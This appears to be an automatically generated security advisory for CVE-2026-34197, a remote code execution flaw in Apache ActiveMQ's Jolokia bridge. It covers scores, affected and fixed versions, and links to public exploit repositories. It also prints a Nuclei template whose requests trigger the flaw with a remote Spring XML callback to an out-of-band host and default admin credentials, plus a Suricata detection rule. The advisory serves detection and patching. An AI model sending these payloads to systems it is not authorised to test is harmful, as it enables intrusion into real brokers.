CVE-2026-34197: Apache ActiveMQ Improper Input Validation Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Improper Input Validation, Improper Control of Generation of Code (‘Code Injection’) vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport’s brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring’s ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker’s JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3. Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue
Description quoted from the CVE record (assigned by apache, published 2026-04-07).
Weakness: CWE-20 Improper Input Validation; CWE-94 Improper Control of Generation of Code (‘Code Injection’); Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
How it can be exploited
Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2026-04-16
- US federal deadline
- 2026-04-30
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2026-04928, CNVD-2026-17369, EUVD-2026-19588, EUVD-2026-25410, EUVD-2026-33576, GHSA-rxpj-7qvf-xv32, GHSA-v853-w46p-fv2h, GHSA-w3w2-mpp5-92gm, SNYK-JAVA-ORGAPACHEACTIVEMQ-16032379, SNYK-JAVA-ORGAPACHEACTIVEMQ-16032380
VEDAS cluster: VEDAS:AZTECHUMMINGBIRD
Exploit Observer links 21 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (21)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2026/CVE-2026-34197.yaml
- Code repository: https://github.com/0xblackash/cve-2026-34197
- Code repository: https://github.com/asdasddqwdq29-a11y/cve-2026-34197
- Code repository: https://github.com/atoposx-j/cve-2026-34197-apache-activemq-rce
- Code repository: https://github.com/devsecurityspro/cve-2026-34197
- Code repository: https://github.com/dinosn/cve-2026-34197
- Code repository: https://github.com/hg0434hongzh0/cve-2026-34197
- Code repository: https://github.com/hnytgl/cve-2026-34197
- Code repository: https://github.com/k3ystr0k3r/cve-2026-34197
- Code repository: https://github.com/keraattin/cve-2026-34197
- Code repository: https://github.com/kondordevsecuritycorp/cve-2026-34197
- Code repository: https://github.com/lat-06/cve-2026-34197
- and 9 more
Research and write-ups (1)
- Research or write-up: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia
Vulnerability databases and vendor advisories (24)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2026-34197
- Vulnerability database or vendor advisory: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-19588
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-25410
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-33576
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-v853-w46p-fv2h
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-w3w2-mpp5-92gm
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2026-34197
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-rxpj-7qvf-xv32
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-v853-w46p-fv2h
- and 12 more
54 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.983
very likely to be attacked soon - VEDAS
- 0.991
strong exploit evidence - On CISA KEV
- Yes, since 2026-04-16
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Apache Software Foundation Apache ActiveMQ Broker (org.apache.activemq:activemq-broker) | before 5.19.4 from 6.0.0 before 6.2.3 | Not stated |
| Apache Software Foundation Apache ActiveMQ All (org.apache.activemq:activemq-all) | before 5.19.4 from 6.0.0 before 6.2.3 | Not stated |
| Apache Software Foundation Apache ActiveMQ (org.apache.activemq:apache-activemq) | before 5.19.4 from 6.0.0 before 6.2.3 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: apache activemq, apache activemq_broker, apache_software_foundation activemq, ооо_«ред_софт» ред_ос.
How to fix it
Fixed versions stated in the CVE record: 5.19.4, 6.2.3.
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt (vendor-advisory)
How to detect it
Nuclei template (active check)
Apache ActiveMQ Broker - Code Injection
Improper Input Validation, Improper Control of Generation of Code (‘Code Injection’) vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console.
Name and description quoted from the template, written by VEDAS.
The template sends 4 requests (POST /api/jolokia/, POST /api/jolokia/, GET /, GET /); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-34197.yamlShow the template (65 lines)
id: CVE-2026-34197
info:
name: "Apache ActiveMQ Broker - Code Injection"
author: vedas-arpsyndicate
severity: critical
description: |
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache
ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/
on the web console.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-34197&match=exact
- https://subdomain.center/?engine=ammonites&keyword=activemq&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-34197
cwe-id: CWE-94
metadata:
verified: false
tags: cve,cve2026,activemq,jolokia,rce,oast,java,oob,kev,vkev
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
string: "{{to_lower(rand_text_alpha(6))}}"
http:
- raw:
- |
POST /api/jolokia/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Origin: {{RootURL}}
[{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]
- |
POST /api/jolokia/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Origin: {{RootURL}}
Authorization: Basic YWRtaW46YWRtaW4=
[{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector","arguments":["NC"]},{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector","arguments":["static:(vm://{{string}}?brokerConfig=xbean:http://{{interactsh-url}}/{{filename}}.xml)"]}]
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '[{"request":{'
- 'org.apache.activemq'
condition: and
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: or
- type: status
status:
- 200
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-34197 Apache ActiveMQ Broker - Code Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-34197 Apache ActiveMQ Broker - Code Injection"; flow:established,to_server; http.uri; content:"jolokia"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-34197; reference:url,https://www.exploit.observer/?keyword=CVE-2026-34197&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=activemq&match=exact; sid:1010272; rev:1;)
CVE-2026-34197.rules on GitHub
References
Vendor advisories and patches
- https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt (vendor-advisory)
Exploits and technical analysis
- RHBZ#2455869 (issue-tracking, x_refsource_REDHAT)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34197 (government-resource)
Other references
- http://www.openwall.com/lists/oss-security/2026/04/06/3
- https://access.redhat.com/security/cve/CVE-2026-34197 (vdb-entry, x_refsource_REDHAT)
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34197.json (x_sadp-csaf-vex)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.